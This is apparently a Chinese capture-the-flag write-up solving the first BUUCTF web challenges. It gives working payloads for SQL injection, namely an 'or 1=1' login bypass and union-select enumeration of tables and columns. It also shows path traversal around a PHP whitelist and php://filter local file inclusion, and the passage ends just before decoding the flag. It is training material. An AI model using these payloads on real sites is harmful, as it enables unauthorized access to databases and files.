Buuctf-Web(1-6)
1[极客大挑战 2019]EasySQL
根据题目,用单引号检测是否存在SQL注入漏洞
分析报错信息:看'单引号后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。
在两个位置用单引号测试,发现闭合符号为单引号,注入点在password
万能密码法
常规法
注入流程
数据库->表->字段->值
根据注入位置数据类型将sql注入分类
利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3--+
利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数payload是插入到原来的语句当中,构成了两个sql的语句,当第一个sql语句正确返回时,便不会显示第二个sql语句的结果。
?id=-1 union select 1,2,3 --+
利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1' union select 1,database(),version() --+
利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+
利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知库名' table_name='已知表名'--+
利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+
本题payload:
?username=1&password=1' or 1=1%23
[极客大挑战 2019]EasySQL - 知乎 (zhihu.com)
2[极客大挑战 2019]Havefun
查看源代码,找到这道题的关键
payload:
?cat=dog
我还以为是xss😦
3[HCTF 2018]WarmUp
查看页面源代码,发现source.php
访问/source.php
is_string():检测变量是否是字符串
isset():检测变量是否已设置并且非 NULL
in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode():将url编码后的字符串还原成未编码的样子
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
//初始化一个白名单数组`$whitelist`,其中只包含两个文件:"source.php" 和 "hint.php"。
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//首先检查`$page`变量是否存在且为字符串类型。
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//如果`$page`在白名单内,则返回`true`。
if (in_array($page, $whitelist)) {
return true;
}
//接着,尝试去除`$page`中的查询字符串部分(即`?`之后的部分),并检查处理后的`$_page`是否在白名单内。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//然后,对`$page`进行URL解码(`urldecode`),并再次去除查询字符串部分,并检查处理后的`$_page`是否在白名单内。
if (in_array($_page, $whitelist)) {
return true;
}
//如果所有检查都失败,则返回`false`并输出"you can't see it"。
echo "you can't see it";
return false;
}
}
//检查`$_REQUEST['file']`是否存在、是否为字符串,并通过`emmm::checkFile`方法检查其是否在白名单内。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
payload:
?file=hint.php
我们发现最底部的if语句为执行条件,有三个条件,第一个判断文件不能为空(检查是否传了file参数),第二这个传的参数是字符串,第三要过白名单检测,过了之后包含 隐藏了flag的文件。我们再看上面的if语句,白名单是hint.php,又有mb_strpos和mb_substr截取内容,碰到?就截止,所以我们只需要输入 source.php?file=hint.php?即可绕过白名单检测,然后在输入…/逐级跳转目录读取flag即可,可以一个一个试
/source.php?file=hint.php?file=../../../../../ffffllllaaaagggg
4[ACTF2020 新生赛]Include
我们点击tips这个链接,发现url发生变化
猜测文件包含漏洞,此时就要想办法查看这个文件,那怎样来查看呢
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
PHP伪协议(封装协议/内置协议)_php封装协议-CSDN博客
php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码后的内容为:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZDg0M2YzM2YtNzY2Zi00YzllLTg5Y2QtYzU2M2IzZmMyMDhkfQo=
接着base64解码: